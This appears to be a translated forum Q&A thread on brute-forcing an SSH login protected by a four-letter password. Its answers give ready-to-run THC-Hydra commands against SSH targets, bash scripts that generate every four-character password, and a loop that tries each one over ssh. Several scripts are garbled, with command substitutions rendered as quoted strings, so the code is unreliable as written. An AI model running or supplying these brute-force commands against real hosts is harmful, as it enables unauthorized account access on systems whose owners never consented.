Brute-force un login SSH che ha solo una password di 4 lettere

6

Supponiamo che tu sappia che un determinato computer è protetto solo da una password così breve, quindi puoi semplicemente provare ogni possibile combinazione.

Come sarebbe uno script, che cerca di decifrare quella password?

Qualcosa come

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here; 
done

(lo so, questo non è un buon esempio, ma le mie abilità di bash non sono ancora così buone)

    
posta rubo77 13.12.2012 - 11:05
fonte

4 risposte

16

hydra può generare le password per te. Non è necessario generarli separatamente se si utilizzerà la forza bruta:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V significa verboso, -x 4:4:aA1 significa min è 4 lettere, max è 4 lettere. L'elenco di lettere è a-z indicato con a, A-Z denotato da A, 0-9 denotato da 1. Puoi aggiungere altri caratteri come %_-+/

Devi aggiungere apostrofi attorno all'opzione -x se aggiungi caratteri speciali come spazio, ^, &, * o ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()='~?><;:%^&*_-+/,.\ ' localhost ssh
    
risposta data 05.10.2013 - 15:59
fonte
11

Sebbene si possa usare un linguaggio di scripting generico come bash per questo, si potrebbero ottenere risultati migliori con uno strumento di sicurezza incentrato sul test di attacchi di forza bruta come THC-Hydra da una prospettiva di velocità comunque.

    
risposta data 13.12.2012 - 11:21
fonte
1

quindi questa è la conclusione:

nano /tmp/create_wordlist_case_sensitive.sh
#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )
run2=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )
run3=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )
run4=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )

echo '-'
for a in "${run1[@]}"
  do
  echo "$a"
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    
bash /tmp/create_wordlist_case_sensitive.sh >/tmp/word_list_long.txt
hydra -l john -P /tmp/word_list_long.txt attack_host ssh
    
risposta data 14.12.2012 - 15:26
fonte
0

qui ci sono due script bash per generare un elenco di tutte le possibili combinazioni di quattro lettere. il primo dà solo combinazioni minuscole ( create_wordlist_case_insensitive.sh ), mentre il secondo dà tutte le combinazioni di lettere maiuscole e minuscole ( create_wordlist_case_sensitive.sh ).

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )
run2=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )
run3=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )
run4=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

usali per creare i tuoi file di elenchi di parole come questo:

$ create_wordlist_case_insensitive.sh >word_list_short.txt
$ create_wordlist_case_sensitive.sh >word_list_long.txt

allora il tuo script può scorrere in loop qualsiasi file ti serva in questo modo:

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
 done < word_list_short.txt

eccetto che questo codice non funzionerà veramente, bc ssh non accetta una password come argomento.

dovresti automatizzare quel segmento del codice con expect , ma non entrerò nel modo di farlo qui. in alternativa, suppongo che potresti usare un comando diverso che accetta una password come argomento, come telnet .

    
risposta data 13.12.2012 - 23:12
fonte

Leggi altre domande sui tag